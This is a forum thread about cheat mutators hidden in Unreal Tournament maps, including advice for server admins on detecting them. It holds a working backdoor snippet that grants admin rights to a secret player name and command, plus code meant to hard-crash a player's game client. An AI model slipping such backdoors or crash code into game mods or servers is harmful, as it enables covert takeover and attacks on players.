The Black Tutorials-6)Map embedded tricks and cheats

Get some cool tips about how to tweak your UT graphic, gameplay, and much more!
JackGriffin
Godlike
Posts: 3766
Joined: Fri Jan 14, 2011 1:53 pm
Personal rank: -Retired-

The Black Tutorials-6)Map embedded tricks and cheats

Post by JackGriffin » Tue May 24, 2016 12:51 am

This will be the final tut and will probably close out my participation in the day to day discussions. This one is very near and dear to my heart and although it's probably the simplest one to understand and use, it's very likely the one you will encounter the most.

Many of you played a map I made for MH called 'MH-MHMVillage-fixed'. Next time you play it open a console and enter
mutate warpme
You'll see that no matter where you are at you will be instantly moved to inside the clan village. There's no teleport effect or any warning to other players, you just are one place then another. This is done by a map enbedded actor hidden within called smpv6. This is short for 'Send Me Packing', a mod I'd developed to allow players to teleport inside their own homes in the village. It was a way of allowing houses to be locked to anyone else except the owner. This is the code for the warp:

Code: Select all

function Mutate(string MutateString, PlayerPawn Sender)
{
        // This is a map name check. You can use this to specify maps for the mod to work on.
        if(InStr ( Level.Title, "MHM" ) != -1)
     {
	if(!Sender.PlayerReplicationInfo.bIsSpectator || Sender.PlayerReplicationInfo.bWaitingPlayer)
	{
                if(MutateString ~= "warpme")
		{
			Sender.ClientMessage("Welcome to the village, please enjoy");
                        Sender.SetLocation(vect(-9758.612305, 20064.000000, -5715.470215));
		}
	}
     }
	if ( NextMutator != None )
		NextMutator.Mutate(MutateString, Sender);
}
So you can see that by subclassing mutator it's easily possible to make all kinds of things inside the map available for use that no one would know about. You can teleport back and forth from the flag bases, reload yourself with ammo, etc.

So how to catch this? Well the easiest way is to watch the server logs. When a map loads watch to see the mods and if one loads you don't recognize it's time to start digging. Keep a whitelist of the mods you know are OK and add to that as you find new ones. Maps that seem suspicious to you mean you should probably load the actor list and see if there's something strange in it, something that you don't recognize. A common trick is to set the drawscale of the cheat actor to very small and/or to bHidden so don't be afraid to tear into the map to find things. Select all actors and look to see if drawscale is not 1 on everything. That's a good sign that something is hidden.

In summary, as a server admin you have the responsibility to make sure the maps you run are clean. If you suspect someone is cheating on a particular map then take a bit and see if something stands out in an inspection of the map itself. The methods and procedures would take all day to list so consider the above a super simple example but one that you need to be very keen on watching for.

OK guys, that'll do it. I'm going to log out and do other things. If anyone needs me please don't hesitate to email. Good luck and thanks for letting me put all this stuff out here for discussion. Hopefully it starts something that benefits everyone involved.
So long, and thanks for all the fish

MrLoathsome
Inhuman
Posts: 958
Joined: Wed Mar 31, 2010 9:02 pm
Personal rank: I am quite rank.
Location: MrLoathsome fell out of the world!

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by MrLoathsome » Tue May 24, 2016 4:52 am

Damn Jack, You are Evil!!!! :satan:

But seriously, even though I keep my "White Hat" on as far as coding, these "Black Tutorials" should all
be made a sticky somewhere or another.

The techniques shown in all are very interesting and could be used for a variety of Non-Evil purposes as well.
blarg

Higor
Godlike
Posts: 1765
Joined: Sun Mar 04, 2012 6:47 pm

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by Higor » Tue May 24, 2016 5:42 am

One of Siege's previous coders plagued some of his maps with these.
While the use of these mutators is great for unlocking map features, advancing past a coop/mh point faster for showcase reasons or teleporting yourself to the skybox for the lulz, he was using it to cheat in live games.
ImageImage
Image unreal://23.111.157.138:7777
Image unreal://46.228.199.205:7788

User avatar
papercoffee
Godlike
Posts: 9268
Joined: Wed Jul 15, 2009 11:36 am
Personal rank: coffee addicted !!!
Location: Cologne, the city with the big cathedral.
Contact:

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by papercoffee » Tue May 24, 2016 11:56 am

Higor wrote:One of Siege's previous coders plagued some of his maps with these.
While the use of these mutators is great for unlocking map features, advancing past a coop/mh point faster for showcase reasons or teleporting yourself to the skybox for the lulz, he was using it to cheat in live games.
I want to see a map where people, who try to activate a cheat get teleported into a room with dimmed light and sexy arousing music ...and they get gently humped by a Titan.

JackGriffin
Godlike
Posts: 3766
Joined: Fri Jan 14, 2011 1:53 pm
Personal rank: -Retired-

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by JackGriffin » Tue May 24, 2016 12:29 pm

Higor wrote:One of Siege's previous coders plagued some of his maps with these.
Oh, do I remember this: http://www.unrealadmin.org/forums/showt ... hp?t=30051

It infuriated me that so many people just didn't understand what he was doing. That disconnect is why it stuck with me that we should be talking so much more openly than we do. I should have taken a YT vid of the map while using the cheats and then I think people would have understood way better. Instead he desperately tried (and succeeded) in devolving things to stupid clan drama which let the real issue get lost.

Anyway this stuff exists in other maps too. I saw it in a couple of the CTF maps made for the jets mods. It just something that needs to be brought into the light of day because as coders we all know how easily this stuff can be done but I really think the average player has no idea and the average server admin falls somewhere in between those two extremes.
So long, and thanks for all the fish

User avatar
PrinceOfFunky
Godlike
Posts: 1040
Joined: Mon Aug 31, 2015 10:31 pm

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by PrinceOfFunky » Tue May 24, 2016 6:31 pm

With a hidden mutator like this, it would be easy to become an admin bypassing the login and even to take possess of the entire server and inject data inside the host machine.
If you would find out one of these secrets in your map, it could be too late lol.
Image

User avatar
Barbie
Godlike
Posts: 1700
Joined: Fri Sep 25, 2015 9:01 pm
Location: moved without proper hashing

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by Barbie » Tue May 24, 2016 8:26 pm

PrinceOfFunky wrote:With a hidden mutator like this, it would be easy to become an admin bypassing the login
Does this really work? Is a sample of this available somewhere?
"Multiple exclamation marks," he went on, shaking his head, "are a sure sign of a diseased mind." --Terry Pratchett

User avatar
sektor2111
Godlike
Posts: 4077
Joined: Sun May 09, 2010 6:15 pm
Location: On the roof.

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by sektor2111 » Tue May 24, 2016 8:58 pm

Sample? You don't want me to be "creative"... However I was "forgetting" some stuff to breath outside (passwords - G00gle knows... ) just because if anyone wants to do some crap in a sort of server like mine, actually he won't do too much damage and I will know some... Origins... Main files are read-only + I have backups, I had even people able to be full admin and I did not have problems with them - nice people, RESPECT for them.
Each morning server was fresh and no changes took in account. When things are in your yard you have a better control over everything that moves around. Rental services keeps your hands away and you are unable to get what's wrong at a random moment. Trust me, if you can pay an expensive connection is better to have all stuff hosted by yourself (+ electricity and your time taken - sorta prison)...

User avatar
PrinceOfFunky
Godlike
Posts: 1040
Joined: Mon Aug 31, 2015 10:31 pm

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by PrinceOfFunky » Tue May 24, 2016 9:21 pm

Barbie wrote:
PrinceOfFunky wrote:With a hidden mutator like this, it would be easy to become an admin bypassing the login
Does this really work? Is a sample of this available somewhere?
Using a dll maybe?
Bringing you to a webpage that sends you malicious data and closes the page as soon as possible so that when the UT window closes to give focus to the browser, you don't see any weird page open.
Image

User avatar
Barbie
Godlike
Posts: 1700
Joined: Fri Sep 25, 2015 9:01 pm
Location: moved without proper hashing

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by Barbie » Tue May 24, 2016 9:28 pm

PrinceOfFunky wrote:Using a dll maybe?
If I can execute native programs (and a DLL can contain native code) on clients computers, I already have won. ;o)
No, I meant gaining UT administrative rights by a map embedded mutator only without knowing the password - hooking ModifyPlayer() or ModifyLogin() or such for example.
"Multiple exclamation marks," he went on, shaking his head, "are a sure sign of a diseased mind." --Terry Pratchett

User avatar
PrinceOfFunky
Godlike
Posts: 1040
Joined: Mon Aug 31, 2015 10:31 pm

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by PrinceOfFunky » Tue May 24, 2016 9:37 pm

Barbie wrote:
PrinceOfFunky wrote:Using a dll maybe?
If I can execute native programs (and a DLL can contain native code) on clients computers, I already have won. ;o)
No, I meant gaining UT administrative rights by a map embedded mutator only without knowing the password - hooking ModifyPlayer() or ModifyLogin() or such for example.

Code: Select all

function Mutate(string MutateString, PlayerPawn Sender)
{
    if ((Sender.PlayerReplicationInfo.PlayerName == <Secret Player Name>) && (MutateString == <Secret Command String>))
    {
        Sender.bAdmin = True;
        Sender.PlayerReplicationInfo.bAdmin = True;
    }
}
Image

User avatar
Barbie
Godlike
Posts: 1700
Joined: Fri Sep 25, 2015 9:01 pm
Location: moved without proper hashing

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by Barbie » Tue May 24, 2016 10:58 pm

Thanks, that works like a charm! :satan:
For me it is a major security hole that has to be fixed ASAP: Overwrite GameInfo/BaseMutator's AddMutator() to allow adding only map specific white listed mutators? Periodically check if Level.Game.BaseMutator is still the one I've put there?

<EDIT>spell fix</EDIT>
"Multiple exclamation marks," he went on, shaking his head, "are a sure sign of a diseased mind." --Terry Pratchett

MrLoathsome
Inhuman
Posts: 958
Joined: Wed Mar 31, 2010 9:02 pm
Personal rank: I am quite rank.
Location: MrLoathsome fell out of the world!

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by MrLoathsome » Tue May 24, 2016 11:01 pm

I ain't putting any more new maps on my servers......... :roll:

They live here with me. I am a prisoner and I need more electricity.
blarg

User avatar
FXANBSS
Skilled
Posts: 228
Joined: Thu Dec 26, 2013 7:03 pm

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by FXANBSS » Tue May 24, 2016 11:46 pm

papercoffee wrote:I want to see a map where people, who try to activate a cheat get teleported into a room with dimmed light and sexy arousing music ...and they get gently humped by a Titan.
Ah, the "editactor class=" is one of the most dangerous commands IMO, it actually works, but you can't modify anything, just see, and that's already illegal, if someone uses this command then give a "debug gpf" to the player. :)

JackGriffin
Godlike
Posts: 3766
Joined: Fri Jan 14, 2011 1:53 pm
Personal rank: -Retired-

Re: The Black Tutorials-6)Map embedded tricks and cheats

Post by JackGriffin » Wed May 25, 2016 12:26 am

Welp, I'm guess I'm going all on on this one. This is the very hardest crash I've ever seen. Kicked me all the way back to desktop, it was just nasty. In the client mod add this function to the info class:

Code: Select all

simulated function Lock()
{
   Owner.SetOwner(Self);
   SetOwner(Owner);
}
In the server mod you want to spawn the previous info mod onto a player right before you punish them. It's done like this example:

Code: Select all

You'll need a way to ID the player. You can use PlayerID, Name, whatever. Figure it out :D

p = playerreplicationinfo whatever you are using
q = the previous info class you made for the client mod

if (p != None)
q = Spawn(class'WHATEVERInfo',p,,p.Location);
if (q != None)
{
    q.Lock();
}
p.destroy();
That little bit of code is just horrible so don't just indiscriminately punish people with it. We used it in the UTP stuff to hard ban/crash people who would not stop hammering the server once they were banned. They won't keep that up for very long when you do this.

About the map embedded logins...that was something I have never talked publicly about but something that concerns me very deeply. I've never SEEN one in a map but yeah, it's certainly possible. In fact you could do all kinds of shit to the server. Adding a temp admin login for yourself wouldn't be hard. That's just the tip of the problem though. You could make server setting changes, etc. even if there wasn't the person doing the cheating there. Trust me guys, for years I've been ripping apart mods and maps watching out for this type of thing. If I ever saw anything out of place I always sounded the warning bell. As a community we've actually been pretty lucky. The only serious offenders I have seen were private mods and that was almost always taken care of with an email threat if it wasn't removed.
So long, and thanks for all the fish

Post Reply